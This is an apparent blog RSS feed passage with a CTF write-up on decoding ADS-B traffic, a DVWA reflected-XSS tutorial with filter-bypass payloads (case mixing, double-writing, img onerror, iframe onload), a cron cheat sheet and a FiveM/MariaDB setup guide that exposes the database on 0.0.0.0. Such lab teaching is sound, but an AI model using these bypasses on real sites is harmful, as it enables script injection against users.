<p><img src="https://img.casear.net/img/a7493708024d89e06b97b917afdfa083.image.webp" alt="image.png"></p>
<p>:::tip{title=&quot;提示&quot;}<br>
你永远无法相信来自用户的任何信息，也无法阻止用户对其进行干扰，因此不存在不可能达到的水平。<br>
:::</p>
<!-- more -->
</div>]]></content:encoded>
            <author>casearx@foxmail.com (Casear)</author>
            <category domain="https://www.casear.net//category/web安全">web安全</category>
        </item>
        <item>
            <title><![CDATA[强网杯2023 谍影重重2.0 wp]]></title>
            <link>https://www.casear.net/post/19</link>
            <guid>https://www.casear.net/post/19</guid>
            <pubDate>Fri, 29 Mar 2024 12:13:30 GMT</pubDate>
            <description><![CDATA[<h1>强网杯2023 谍影重重2.0 wp</h1>
<h2>题目描述</h2>
<blockquote>
<p>小明是某间谍组织的一员，他终日监听着我国某重点军事基地的飞行动态，妄图通过分析参数找到我国飞的最快的飞机。我国费尽千辛万苦抓住了他，并在他的电脑上找到了一段他监听的信息，请分析出这段信息中飞的最快的飞机。<br>
格式为flag{md5(ICAO CODE of the fastest plane)}<br><br>
附件内所涉及的信息均为公开信息，题目描述也均为虚构，切勿当真</p>
</blockquote>
]]></description>
            <content:encoded><![CDATA[<div class="markdown-body rss">
      <link rel="stylesheet" href="https://www.casear.net/markdown.css">
      <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/KaTeX/0.5.1/katex.min.css">
      <link rel="stylesheet" href="https://cdn.jsdelivr.net/gh/highlightjs/cdn-release@11.6.0/build/styles/default.min.css">
      <h1>强网杯2023 谍影重重2.0 wp</h1>
<h2>题目描述</h2>
<blockquote>
<p>小明是某间谍组织的一员，他终日监听着我国某重点军事基地的飞行动态，妄图通过分析参数找到我国飞的最快的飞机。我国费尽千辛万苦抓住了他，并在他的电脑上找到了一段他监听的信息，请分析出这段信息中飞的最快的飞机。<br>
格式为flag{md5(ICAO CODE of the fastest plane)}<br><br>
附件内所涉及的信息均为公开信息，题目描述也均为虚构，切勿当真</p>
</blockquote>
<!-- more -->
<p>:::tip{title=&quot;提示&quot;}<br>
文末有下载地址<br>
:::</p>
<h2>使用<code>tshark - r</code> 文件名打印流量信息</h2>
<p><img src="https://casear.net/static/img/b720a5b6d227a7f88f4c3e931e8847f3.image.webp" alt="image.png"><br>
发现都是tcp协议的流量</p>
<h2>然后导出流量</h2>
<p>命令：</p>
<pre class="hljs" style="background: #f3f3f3; padding: 8px;><code>tshark -r [流量包文件] -Y &quot;tcp&quot; -T fields -e tcp.segment_data &gt; [导出的文件名]
</code></pre>
<p><img src="https://img.casear.net/img/9bcf16afd89e34105949292dbadd2d5f.image.webp" alt="image.png"></p>
<p>:::warning{title=&quot;注意&quot;}<br>
我习惯使用root用户来操作，在平时使用时，请尽量使用普通用户来运行<br>
:::</p>
<h2>分析导出的流量</h2>
<p>这里使用了<a href="https://kimi.moonshot.cn/">kimi</a>的国内免费ai来进行提问<br><br>
得知ADS—B可以传输速度信息<br>
<img src="https://img.casear.net/img/6ec2b2b92c06ca330b7bfc1d31c5cb02.image.webp" alt="image.png"></p>
<p><code>cat</code>一下导出的流量<br></p>
<p><img src="https://img.casear.net/img/8b78da6e2076ce0ea216fbdd02b0ec00.image.webp" alt="image.png"><br>
使用python的<code>pyModeS</code>来解析并筛选</p>
<pre class="hljs" style="background: #f3f3f3; padding: 8px;><code><span class="hljs-keyword">import</span> re  <span class="hljs-comment"># 导入正则表达式模块，用于匹配和处理字符串</span>
<span class="hljs-keyword">import</span> pyModeS  <span class="hljs-comment"># 导入pyModeS库，用于解码Mode S信号</span>

speed = []  <span class="hljs-comment"># 创建一个空列表，用于存储包含&quot;Speed&quot;的行</span>
numbers = []  <span class="hljs-comment"># 创建一个空列表，用于存储从文本中提取的数字</span>

<span class="hljs-comment"># 打开tcp.txt文件并读取所有行</span>
<span class="hljs-keyword">with</span> <span class="hljs-built_in">open</span>(<span class="hljs-string">r&quot;/root/Desktop/demo.txt&quot;</span>, <span class="hljs-string">&quot;r&quot;</span>) <span class="hljs-keyword">as</span> x:
    lines = x.readlines()  <span class="hljs-comment"># 读取文件的所有行，并存储在lines列表中</span>

<span class="hljs-comment"># 创建或清空demo_output.txt文件用于写入解码后的结果</span>
<span class="hljs-keyword">with</span> <span class="hljs-built_in">open</span>(<span class="hljs-string">r&quot;/root/Desktop/demo_output.txt&quot;</span>, <span class="hljs-string">&quot;w&quot;</span>, encoding=<span class="hljs-string">&quot;utf-8&quot;</span>) <span class="hljs-keyword">as</span> output_file:
    <span class="hljs-keyword">for</span> i <span class="hljs-keyword">in</span> lines:  <span class="hljs-comment"># 遍历lines列表中的每一行</span>
        <span class="hljs-comment"># 检查行的长度是否为47个字符</span>
        <span class="hljs-keyword">if</span> <span class="hljs-built_in">len</span>(i) == <span class="hljs-number">47</span>:
            <span class="hljs-keyword">try</span>:
                <span class="hljs-comment"># 尝试使用pyModeS库解码特定部分的内容</span>
                <span class="hljs-comment"># 注意：这里假设pyModeS库有decoder模块和tell方法，实际情况可能不同</span>
                decoded_output = pyModeS.decoder.tell(
                    i[<span class="hljs-number">18</span>:]
                )  <span class="hljs-comment"># 解码从第18个字符开始到最后的内容</span>
                <span class="hljs-comment"># 将解码后的结果写入demo_output.txt文件</span>
                output_file.write(<span class="hljs-built_in">str</span>(decoded_output) + <span class="hljs-string">&quot;\n&quot;</span>)
            <span class="hljs-keyword">except</span> Exception <span class="hljs-keyword">as</span> e:
                <span class="hljs-comment"># 如果解码过程中出现错误，将错误信息写入demo_output.txt文件</span>
                output_file.write(<span class="hljs-string">&quot;错误译码行:&quot;</span> + <span class="hljs-built_in">str</span>(e) + <span class="hljs-string">&quot;\n&quot;</span>)

<span class="hljs-comment"># 再次打开demo_output.txt文件，这次用于读取解码后的结果</span>
<span class="hljs-keyword">with</span> <span class="hljs-built_in">open</span>(
    <span class="hljs-string">r&quot;/root/Desktop/demo_output.txt&quot;</span>, <span class="hljs-string">&quot;r&quot;</span>, encoding=<span class="hljs-string">&quot;utf-8&quot;</span>, errors=<span class="hljs-string">&quot;ignore&quot;</span>
) <span class="hljs-keyword">as</span> file:
    <span class="hljs-keyword">for</span> line_number, line <span class="hljs-keyword">in</span> <span class="hljs-built_in">enumerate</span>(file, <span class="hljs-number">1</span>):  <span class="hljs-comment"># 遍历文件的每一行，并为每一行编号</span>
        <span class="hljs-keyword">if</span> <span class="hljs-string">&quot;Speed&quot;</span> <span class="hljs-keyword">in</span> line:
            <span class="hljs-comment"># 如果行包含&quot;Speed&quot;，则将该行添加到speed列表中</span>
            speed.append(line.strip())
            <span class="hljs-comment"># 使用正则表达式找到该行中所有的数字</span>
            found_numbers = re.findall(<span class="hljs-string">r&quot;\d+&quot;</span>, line)
            <span class="hljs-comment"># 将找到的数字转换为整数并添加到numbers列表中</span>
            numbers.extend([<span class="hljs-built_in">int</span>(num) <span class="hljs-keyword">for</span> num <span class="hljs-keyword">in</span> found_numbers])
            <span class="hljs-comment"># 再次将处理后的行添加到speed列表中（这里重复添加，可能是代码逻辑上的错误）</span>

<span class="hljs-comment"># 检查numbers列表是否非空</span>
<span class="hljs-keyword">if</span> numbers:
    <span class="hljs-comment"># 找出numbers列表中的最大数，并将其转换为字符串</span>
    max_number = <span class="hljs-built_in">str</span>(<span class="hljs-built_in">max</span>(numbers))

<span class="hljs-comment"># 将最大数写入到test.txt文件中</span>
<span class="hljs-keyword">with</span> <span class="hljs-built_in">open</span>(<span class="hljs-string">&quot;/root/Desktop/test.txt&quot;</span>, <span class="hljs-string">&quot;w&quot;</span>, encoding=<span class="hljs-string">&quot;utf-8&quot;</span>) <span class="hljs-keyword">as</span> f:
    <span class="hljs-comment"># 写入最大数到test.txt文件，并在末尾添加换行符</span>
    f.write(max_number + <span class="hljs-string">&quot;\n&quot;</span>)

</code></pre>
<pre><code>筛选完后得出最大速度为`Speed: 371 knots`
</code></pre>
<p><img src="https://img.casear.net/img/f50b9e9d7d8febc8de6ec2c9b88cb413.image.webp" alt="image.png"></p>
<h2>获取flag值</h2>
<p>解码后的最快速度的数据块为</p>
<pre><code>                ICAO address: 79a05e 
             Downlink Format: 17 
                    Protocol: Mode-S Extended Squitter (ADS-B) 
                        Type: Airborne velocity 
                       Speed: 371 knots
                       Track: 213.3474959459136 degrees
               Vertical rate: -64 feet/minute
                        Type: Ground speed 
</code></pre>
<p>再把<code>ICAO address MD5</code>一下就得到了<code>fla</code>g，后来发现这个并不对，要把<code>ICAO address</code>先大写再<code>MD5</code>后得到：</p>
<pre><code class="language-flag">flag{4cf6729b9bc05686a79c1620b0b1967b}
</code></pre>
<p><a href="https://www.lanzouw.com/ilqKJ1t3f4ng">数据包下载地址</a></p>
<!-- more -->
</div>]]></content:encoded>
            <author>casearx@foxmail.com (Casear)</author>
            <category domain="https://www.casear.net//category/web安全">web安全</category>
        </item>
        <item>
            <title><![CDATA[DVWA靶场--XSS(Reflected)教程]]></title>
            <link>https://www.casear.net/post/18</link>
            <guid>https://www.casear.net/post/18</guid>
            <pubDate>Wed, 03 Apr 2024 10:05:01 GMT</pubDate>
            <description><![CDATA[<blockquote>
<p>跨站脚本（英语：Cross-site scripting，通常简称为：XSS）是一种网站应用程序的安全漏洞攻击，是代码注入的一种。它允许恶意用户将代码注入到网页上，其他用户在观看网页时就会受到影响。这类攻击通常包含了HTML以及用户端脚本语言。<br></p>
</blockquote>
<p>反射型XSS攻击需要具备以下条件：</p>
<ul>
<li>需要向web页面注入恶意代码；</li>
<li>这些恶意代码能够被浏览器成功的执行</li>
<li>用户交互<br></li>
</ul>
<p><img src="https://img.casear.net/img/4dbef1890a15968cc0d360c6970bfd1d.image.webp" alt="image.png"></p>
]]></description>
            <content:encoded><![CDATA[<div class="markdown-body rss">
      <link rel="stylesheet" href="https://www.casear.net/markdown.css">
      <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/KaTeX/0.5.1/katex.min.css">
      <link rel="stylesheet" href="https://cdn.jsdelivr.net/gh/highlightjs/cdn-release@11.6.0/build/styles/default.min.css">
      <blockquote>
<p>跨站脚本（英语：Cross-site scripting，通常简称为：XSS）是一种网站应用程序的安全漏洞攻击，是代码注入的一种。它允许恶意用户将代码注入到网页上，其他用户在观看网页时就会受到影响。这类攻击通常包含了HTML以及用户端脚本语言。<br></p>
</blockquote>
<p>反射型XSS攻击需要具备以下条件：</p>
<ul>
<li>需要向web页面注入恶意代码；</li>
<li>这些恶意代码能够被浏览器成功的执行</li>
<li>用户交互<br></li>
</ul>
<p><img src="https://img.casear.net/img/4dbef1890a15968cc0d360c6970bfd1d.image.webp" alt="image.png"></p>
<!-- more -->
<h1>代码级别解析</h1>
<h2>low</h2>
<h3>源码</h3>
<pre class="hljs" style="background: #f3f3f3; padding: 8px;><code><span class="hljs-meta">&lt;?php</span>

<span class="hljs-title function_ invoke__">header</span> (<span class="hljs-string">&quot;X-XSS-Protection: 0&quot;</span>);

<span class="hljs-comment">// arrary_key_exists()函数：判断$_GET的值中是否存在“name”键名</span>
<span class="hljs-comment">//并且$_GET[‘name’]的值是否不为空，满足这些条件，直接输出下面的输出语句</span>

<span class="hljs-keyword">if</span>( <span class="hljs-title function_ invoke__">array_key_exists</span>( <span class="hljs-string">&quot;name&quot;</span>, <span class="hljs-variable">$_GET</span> ) &amp;&amp; <span class="hljs-variable">$_GET</span>[ <span class="hljs-string">&#x27;name&#x27;</span> ] != <span class="hljs-literal">NULL</span> ) {
    <span class="hljs-comment">// Feedback for end user</span>
    <span class="hljs-keyword">echo</span> <span class="hljs-string">&#x27;&lt;pre&gt;Hello &#x27;</span> . <span class="hljs-variable">$_GET</span>[ <span class="hljs-string">&#x27;name&#x27;</span> ] . <span class="hljs-string">&#x27;&lt;/pre&gt;&#x27;</span>;
}

<span class="hljs-meta">?&gt;</span>
</code></pre>
<h3>漏洞复现</h3>
<p>服务器只是判断了 name 参数是否为空，如果不为空的话就直接打印出来。服务器并没有对 name 参数做任何的过滤和检查。</p>
<p>（1）直接使用 <code>&lt;script&gt;alert(1)&lt;/script&gt;</code> 进行尝试</p>
<p><img src="https://img.casear.net/img/a42c5e6e11b3bfeae8842995f9be8d19.image.webp" alt="image.png"></p>
<h2>Medium</h2>
<h3>源码</h3>
<pre class="hljs" style="background: #f3f3f3; padding: 8px;><code><span class="hljs-meta">&lt;?php</span>

<span class="hljs-title function_ invoke__">header</span> (<span class="hljs-string">&quot;X-XSS-Protection: 0&quot;</span>);

<span class="hljs-comment">// Is there any input?</span>
<span class="hljs-keyword">if</span>( <span class="hljs-title function_ invoke__">array_key_exists</span>( <span class="hljs-string">&quot;name&quot;</span>, <span class="hljs-variable">$_GET</span> ) &amp;&amp; <span class="hljs-variable">$_GET</span>[ <span class="hljs-string">&#x27;name&#x27;</span> ] != <span class="hljs-literal">NULL</span> ) {
    <span class="hljs-comment">// Get input</span>
<span class="hljs-comment">//将输入中的&lt;script&gt;替换为空字符串</span>
    <span class="hljs-variable">$name</span> = <span class="hljs-title function_ invoke__">str_replace</span>( <span class="hljs-string">&#x27;&lt;script&gt;&#x27;</span>, <span class="hljs-string">&#x27;&#x27;</span>, <span class="hljs-variable">$_GET</span>[ <span class="hljs-string">&#x27;name&#x27;</span> ] );

    <span class="hljs-comment">// Feedback for end user</span>
    <span class="hljs-keyword">echo</span> <span class="hljs-string">&quot;&lt;pre&gt;Hello ${name}&lt;/pre&gt;&quot;</span>;
}

<span class="hljs-meta">?&gt;</span>
</code></pre>
<h3>漏洞复现</h3>
<p>（1）使用了<code>str_replace</code>检查 <code>name</code> 参数中是否有<code> &lt; script &gt;</code>，如果有则替换为空，也就是说过滤掉了<code>&lt;script&gt;</code>这个标签。但是<code>str_replace</code>是区分大小写的，因此可以使用大小写绕过。</p>
<pre class="hljs" style="background: #f3f3f3; padding: 8px;><code>&lt;sCript&gt;<span class="hljs-title function_">alert</span>(<span class="hljs-number">1</span>)&lt;/<span class="hljs-title class_">ScRipt</span>&gt;
</code></pre>
<p>（2）除了使用大小写绕过，还可以使用双写绕过</p>
<pre class="hljs" style="background: #f3f3f3; padding: 8px;><code>&lt;sc&lt;script&gt;ript&gt;<span class="hljs-title function_">alert</span>(<span class="hljs-number">1</span>)&lt;/script&gt;
</code></pre>
<p>（3）还可以使用一种&quot;奇淫巧计&quot;</p>
<pre class="hljs" style="background: #f3f3f3; padding: 8px;><code>&lt;a href=<span class="hljs-string">&quot;javascript:alert(1)&quot;</span>&gt;is&lt;/a&gt;
</code></pre>
<h2>High</h2>
<h3>源码</h3>
<pre class="hljs" style="background: #f3f3f3; padding: 8px;><code><span class="hljs-meta">&lt;?php</span>

<span class="hljs-title function_ invoke__">header</span> (<span class="hljs-string">&quot;X-XSS-Protection: 0&quot;</span>);

<span class="hljs-comment">// Is there any input?</span>
<span class="hljs-keyword">if</span>( <span class="hljs-title function_ invoke__">array_key_exists</span>( <span class="hljs-string">&quot;name&quot;</span>, <span class="hljs-variable">$_GET</span> ) &amp;&amp; <span class="hljs-variable">$_GET</span>[ <span class="hljs-string">&#x27;name&#x27;</span> ] != <span class="hljs-literal">NULL</span> ) {
        <span class="hljs-comment">// Get input</span>
        <span class="hljs-variable">$name</span> = <span class="hljs-title function_ invoke__">preg_replace</span>( <span class="hljs-string">&#x27;/&lt;(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i&#x27;</span>, <span class="hljs-string">&#x27;&#x27;</span>, <span class="hljs-variable">$_GET</span>[ <span class="hljs-string">&#x27;name&#x27;</span> ] );

        <span class="hljs-comment">// Feedback for end user</span>
        <span class="hljs-variable">$html</span> .= <span class="hljs-string">&quot;&lt;pre&gt;Hello ${name}&lt;/pre&gt;&quot;</span>;
}

<span class="hljs-meta">?&gt;</span>
</code></pre>
<h3>漏洞复现</h3>
<p><code>preg_replace()</code> 函数执行一个正则表达式的搜索和替换，<code>*</code> 代表一个或多个任意字符，<code>i</code> 代表不区分大小写。也就是说 <code>&lt; script &gt;</code> 标签在这里被完全过滤了，但是我们可以通过其他的标签例如 <code>img、body</code> 等标签的事件或者<code>iframe</code> 等标签的<code> src</code> 注入<code>JS</code>攻击脚本。</p>
<pre class="hljs" style="background: #f3f3f3; padding: 8px;><code>&lt;img src = <span class="hljs-number">1</span> onerror = <span class="hljs-title function_">alert</span>(<span class="hljs-number">1</span>)&gt;
<span class="language-xml"><span class="hljs-tag">&lt;<span class="hljs-name">iframe</span> <span class="hljs-attr">onload</span>=<span class="hljs-string">&quot;alert(1)&quot;</span>&gt;</span><span class="hljs-tag">&lt;/<span class="hljs-name">iframe</span>&gt;</span></span>
</code></pre>
<p><img src="https://img.casear.net/img/8be1b0aa79733b8450f9aa8710fb0665.image.webp" alt="image.png"></p>
<p><img src="https://img.casear.net/img/16153f85d71333da5705c7df7e42cbe3.image.webp" alt="image.png"></p>
<h2>Impossible</h2>
<h3>源码</h3>
<pre class="hljs" style="background: #f3f3f3; padding: 8px;><code><span class="hljs-meta">&lt;?php</span>

<span class="hljs-keyword">if</span>(!<span class="hljs-title function_ invoke__">array_key_exists</span> (<span class="hljs-string">&quot;name&quot;</span>, <span class="hljs-variable">$_GET</span>) || <span class="hljs-variable">$_GET</span>[<span class="hljs-string">&#x27;name&#x27;</span>] == <span class="hljs-literal">NULL</span> || <span class="hljs-variable">$_GET</span>[<span class="hljs-string">&#x27;name&#x27;</span>] == <span class="hljs-string">&#x27;&#x27;</span>){

 <span class="hljs-variable">$isempty</span> = <span class="hljs-literal">true</span>;

} <span class="hljs-keyword">else</span> {

 <span class="hljs-variable">$html</span> .= <span class="hljs-string">&#x27;&lt;pre&gt;&#x27;</span>;
 <span class="hljs-variable">$html</span> .= <span class="hljs-string">&#x27;Hello &#x27;</span> . <span class="hljs-title function_ invoke__">htmlspecialchars</span>(<span class="hljs-variable">$_GET</span>[<span class="hljs-string">&#x27;name&#x27;</span>]);
 <span class="hljs-variable">$html</span> .= <span class="hljs-string">&#x27;&lt;/pre&gt;&#x27;</span>;

}
</code></pre>
<h3>漏洞复现</h3>
<p>根据@Fgaoxing想出的url转义，使用<code>%3cscript%3ealert(1)%3c/script%3e</code>依然无法绕过</p>
<p><img src="https://img.casear.net/img/59393a1ad5386dd757f129f8feb07eb8.image.webp" alt="image.png"><br>
最新版本使用了一个替换<code>&lt;</code> <code>&gt;</code>的函数，目前无解</p>
<!-- more -->
</div>]]></content:encoded>
            <author>casearx@foxmail.com (Casear)</author>
            <category domain="https://www.casear.net//category/web安全">web安全</category>
        </item>
        <item>
            <title><![CDATA[青龙面板定时规则]]></title>
            <link>https://www.casear.net/post/16</link>
            <guid>https://www.casear.net/post/16</guid>
            <pubDate>Sun, 25 Feb 2024 08:55:38 GMT</pubDate>
            <content:encoded><![CDATA[<div class="markdown-body rss">
      <link rel="stylesheet" href="https://www.casear.net/markdown.css">
      <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/KaTeX/0.5.1/katex.min.css">
      <link rel="stylesheet" href="https://cdn.jsdelivr.net/gh/highlightjs/cdn-release@11.6.0/build/styles/default.min.css">
      <!-- more -->
<pre><code class="language-code">20 */12 * * * 每12小时的20分
0 0,1-23/3 * * * 0点 1 点 后每3小时
13 1,6,22 * * * 1:13 6:13 22:13运行
0 20 30 * * 每月30日20点运行
0 20 * * 7 每周日20点
12 8 * * *每天8:12
0 0-23/1 * * * 每小时一次
*/5 * * * * ?    #每隔 5 秒执行一次
0 */1 * * * ?    #每隔 1 分钟执行一次
0 0 2 1 * ? *    #每月 1 日的凌晨 2 点执行一次
0 15 10 ? *    #MON-FRI 周一到周五每天上午 10：15 执行
0 15 10 ? 6L    #2002-2006 2002 年至 2006 年的每个月的最后一个星期五上午 10:15 执行
0 0 23 * * ?    #每天 23 点执行一次
0 0 1 * * ?    #每天凌晨 1 点执行一次
0 0 1 1 * ?     #每月 1 日凌晨 1 点执行一次
0 0 23 L * ?    #每月最后一天 23 点执行一次
0 0 1 ? * L    #每周星期天凌晨 1 点执行一次
0 26,29,33 * * * ?    #在 26 分、29 分、33 分执行一次
0 0 0,13,18,21 * * ?    #每天的 0 点、13 点、18 点、21 点都执行一次
0 0 10,14,16 * * ?    #每天上午 10 点，下午 2 点，4 点执行一次
0 0/30 9-17 * * ?    #朝九晚五工作时间内每半小时执行一次
0 0 12 ? * WED    #每个星期三中午 12 点执行一次
0 0 12 * * ?    #每天中午 12 点触发
0 15 10 ? * *    #每天上午 10:15 触发
0 15 10 * * ?    #每天上午 10:15 触发
0 15 10 * * ? *    #每天上午 10:15 触发
0 15 10 * * ?    #2005 2005 年的每天上午 10:15 触发
0 * 14 * * ?    #每天下午 2 点到 2:59 期间的每 1 分钟触发
0 0/5 14 * * ?    #每天下午 2 点到 2:55 期间的每 5 分钟触发
0 0/5 14,18 * * ?    #每天下午 2 点到 2:55 期间和下午 6 点到 6:55 期间的每 5 分钟触发
0 0-5 14 * * ?    #每天下午 2 点到 2:05 期间的每 1 分钟触发
0 10,44 14 ? 3 WED    #每年三月的星期三的下午 2:10 和 2:44 触发
0 15 10 ? * MON-FRI    #周一至周五的上午 10:15 触发
0 15 10 15 * ?    #每月 15 日上午 10:15 触发
0 15 10 L * ?    #每月最后一日的上午 10:15 触发
0 15 10 ? * 6L    #每月的最后一个星期五上午 10:15 触发
0 15 10 ? * 6L    #2002-2005 2002 年至 2005 年的每月的最后一个星期五上午 10:15 触发
0 15 10 ? * 6#3    #每月的第三个星期五上午 10:15 触发
</code></pre>
<!-- more -->
</div>]]></content:encoded>
            <author>casearx@foxmail.com (Casear)</author>
            <category domain="https://www.casear.net//category/Linux">Linux</category>
        </item>
        <item>
            <title><![CDATA[你一句春不晚，我就到了真江南]]></title>
            <link>https://www.casear.net/post/15</link>
            <guid>https://www.casear.net/post/15</guid>
            <pubDate>Thu, 02 May 2024 10:21:37 GMT</pubDate>
            <description><![CDATA[<p><img src="https://casear.net/static/img/2e89b0cf9c9088f2f6388aa077e2d08e.1707392970665.webp" alt=""></p>
]]></description>
            <content:encoded><![CDATA[<div class="markdown-body rss">
      <link rel="stylesheet" href="https://www.casear.net/markdown.css">
      <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/KaTeX/0.5.1/katex.min.css">
      <link rel="stylesheet" href="https://cdn.jsdelivr.net/gh/highlightjs/cdn-release@11.6.0/build/styles/default.min.css">
      <p><img src="https://casear.net/static/img/2e89b0cf9c9088f2f6388aa077e2d08e.1707392970665.webp" alt=""></p>
<!-- more -->
<p><img src="https://casear.net/static/img/c82ef8d53577d7e2547853f2b54519d0.1707392970187.webp" alt=""><br>
<img src="https://casear.net/static/img/d7424e8bdbbc23f326c3fd95fd6fba2f.1707392970108.webp" alt=""><br>
<img src="https://casear.net/static/img/cb09a3d01f6f04d5d79f95293717626e.1707392969888.webp" alt=""><br>
<img src="https://casear.net/static/img/c6d38084040a7443425ef2d4a9379714.1707392970131.webp" alt=""></p>
<!-- more -->
</div>]]></content:encoded>
            <author>casearx@foxmail.com (Casear)</author>
            <category domain="https://www.casear.net//category/分享">分享</category>
        </item>
        <item>
            <title><![CDATA[在Ubuntu上搭建Fivem服务器]]></title>
            <link>https://www.casear.net/post/14</link>
            <guid>https://www.casear.net/post/14</guid>
            <pubDate>Sun, 19 May 2024 14:14:12 GMT</pubDate>
            <content:encoded><![CDATA[<div class="markdown-body rss">
      <link rel="stylesheet" href="https://www.casear.net/markdown.css">
      <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/KaTeX/0.5.1/katex.min.css">
      <link rel="stylesheet" href="https://cdn.jsdelivr.net/gh/highlightjs/cdn-release@11.6.0/build/styles/default.min.css">
      <!-- more -->
<p>在实际操作前请确认您有一定的linux操作常识<br>
操作问题评论看到了就会回复</p>
<h1>在 Ubuntu 上安装 MariaDB</h1>
<pre class="hljs" style="background: #f3f3f3; padding: 8px;><code>sudo apt update
sudo apt install mariadb-server
</code></pre>
<p>安装过程中遇到选项按y即可</p>
<p>安装完成后 ，MariaDB 服务将会自动启动。输入以下命令验证数据库服务器是否正在运行：</p>
<pre class="hljs" style="background: #f3f3f3; padding: 8px;><code>sudo systemctl status mariadb
</code></pre>
<p>输出结果将会显示服务已经启用，并且正在运行：</p>
<p><img src="https://casear.net/static/img/ab9fb5d75d3e30de2a1763c9cefbd415.image.webp" alt="image.png"><br>
ctrl+c退出查看服务</p>
<h2>维护 MariaDB</h2>
<p>MariaDB 服务器有一个脚本叫做<code>mysql_secure_installation</code>，通过它你可以很容易提高数据库服务器的安全性。</p>
<p>不带参数运行脚本：</p>
<pre class="hljs" style="background: #f3f3f3; padding: 8px;><code>sudo mysql_secure_installation
</code></pre>
<p><img src="https://casear.net/static/img/a72909bcbb5ef20b5d6eb8badb15984a.image.webp" alt="image.png"><br>
根据脚本提示输入 root 密码：</p>
<pre><code>Enter current password for root (enter for none):
</code></pre>
<p>由于没有设置 root 密码，所以这里仅仅输入回车&quot;Enter&quot;即可。<br>
接下来，会提示是否为 MySQL root 用户设置密码：</p>
<pre><code>Set root password? [Y/n] n
</code></pre>
<p>输入n。在 Ubuntu 上， MariaDB 用户默认使用auth_socket进行鉴权。这个插件会检查启动客户端的本地系统用户是否和指定的 MariaDB 用户名相匹配。</p>
<p>下一步，<br><br>
系统会要求移除匿名用户，<br><br>
限制 root 用户访问本地机器，<br><br>
移除测试数据库，<br><br>
并且重新加载权限表。如下所示，：</p>
<pre><code>Remove anonymous users? [Y/n] Y&lt;br&gt;
Disallow root login remotely? [Y/n] n&lt;br&gt;
Remove test database and access to it? [Y/n] Y&lt;br&gt;
Reload privilege tables now? [Y/n] Y&lt;br&gt;
</code></pre>
<p>以 root 身份登录<br>
如果想要在终端命令行和 <code>MariaDB</code> 服务器进行交互，可以使用<code>mysql</code>客户端工具或者<code>mariadb</code>。这个工具被作为<code>MariaDB</code> 服务器软件包的依赖软件被安装。<br><br>
这个<code>auth_socket</code>插件将会通过<code> Unix socket</code> 文件验证用户来连接<code>localhost</code>。这就意味着你不能通过提供密码来验证 <code>root</code>。<br>
想要以 <code>root</code> 用户名登录 <code>MariaDB</code> 服务器，需要输入以下命令：</p>
<pre class="hljs" style="background: #f3f3f3; padding: 8px;><code>sudo mysql
</code></pre>
<p>执行成功后会展示 MariaDB shell，如下所示：</p>
<pre><code>Welcome to the MariaDB monitor.  Commands end with ; or \g.
Your MariaDB connection id is 61
Server version: 10.3.22-MariaDB-1ubuntu1 Ubuntu 20.04
Copyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others.
Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.
MariaDB [(none)]&gt; Bye
</code></pre>
<h2>设置root用户密码</h2>
<p>在MariaDB的命令行界面中，你可以使用ALTER USER语句来更改root用户的密码。输入以下命令：</p>
<pre><code>ALTER USER 'root'@'localhost' IDENTIFIED BY 'new_password';
将new_password替换为你想要设置的新密码。
</code></pre>
<p>刷新权限：<br>
更改密码后，为了确保更改立即生效，你需要刷新权限：</p>
<pre><code>FLUSH PRIVILEGES;
</code></pre>
<p>登录到MariaDB</p>
<pre><code>mysql -u root -p
Enter password:
</code></pre>
<h2>如果想使用第三方程序（例如 Navcat），以 root 身份登录你的 MariaDB 服务器，有以下两种方式可以选择。</h2>
<p>第一个是将鉴权方法从<code>auth_socket</code>修改为<code>mysql_native_password</code>。你可以通过运行下面的命令实现：</p>
<pre><code>ALTER USER 'root'@'localhost' IDENTIFIED WITH mysql_native_password BY 'very_strong_password';
FLUSH PRIVILEGES;
</code></pre>
<p>第二个推荐的方式就是创建一个管理员用户，可以访问所有的数据库：</p>
<pre><code>GRANT ALL PRIVILEGES ON *.* TO 'administrator'@'localhost' IDENTIFIED BY 'very_strong_password';
</code></pre>
<h2>配置远程访问</h2>
<p>一般的mysql的配置文件是在<code>/etc/mysql/my.cnf</code>，<code>mariadb</code>也可找到这个文件，仔细阅读该文件的注释内容，可以知道<code>mariadb</code>的配置项集中于另一文件，其路径如下，使用vi打开：</p>
<pre><code>vi /etc/mysql/mariadb.conf.d/50-server.cnf
</code></pre>
<p>将绑定ip地址从<code>127.0.0.1</code>改为<code>0.0.0.0</code>之后即可在你的电脑上使用数据库工具远程管理数据库</p>
<p><img src="https://casear.net/static/img/210d75998ff00ed7523a5e3e11fea1cc.image.webp" alt="image.png"></p>
<h1>下载txadmin并部署</h1>
<p>以下操作建议使用root用户操作</p>
<pre><code>useradd -m -s /bin/bash fivem # 创建用户
passwd fivem  # 更改用户密码
</code></pre>
<p>在这里找到最新可用的fxserver https://runtime.fivem.net/artifacts/fivem/build_proot_linux/master/</p>
<p>点击复制链接地址<br>
<img src="https://casear.net/static/img/684f7d45db42829dbf3f9337c7fab1a5.image.webp" alt="image.png"><br>
切换到<code>/home/fivem</code>目录下</p>
<p>使用<code>curl</code>命令来下载文件 用复制的链接替换命令中的链接</p>
<pre class="hljs" style="background: #f3f3f3; padding: 8px;><code>curl -L -o fx.tar.xz https://runtime.fivem.net/artifacts/fivem/build_proot_linux/master/7375-8aba637bde861af4a4be121d137c886a03cbbbc7/fx.tar.xz
</code></pre>
<p>解压缩命令，使用tar来解压<code>fx.tar.xz</code></p>
<pre class="hljs" style="background: #f3f3f3; padding: 8px;><code>tar xf fx.tar.xz
</code></pre>
<p>新建一个tmux会话，来运行多个回话</p>
<pre class="hljs" style="background: #f3f3f3; padding: 8px;><code>tmux new -s fivem
</code></pre>
<p>再弹出的会话中运行run.sh脚本：</p>
<pre><code>./run.sh
</code></pre>
<p><img src="https://casear.net/static/img/8db263490f93ef0232195f47c9a05491.%C3%A5%C2%B1%C2%8F%C3%A5%C2%B9%C2%95%C3%A6%C2%88%C2%AA%C3%A5%C2%9B%C2%BE%202024-01-31%20122138.webp" alt="屏幕截图 2024-01-31 122138.png"><br>
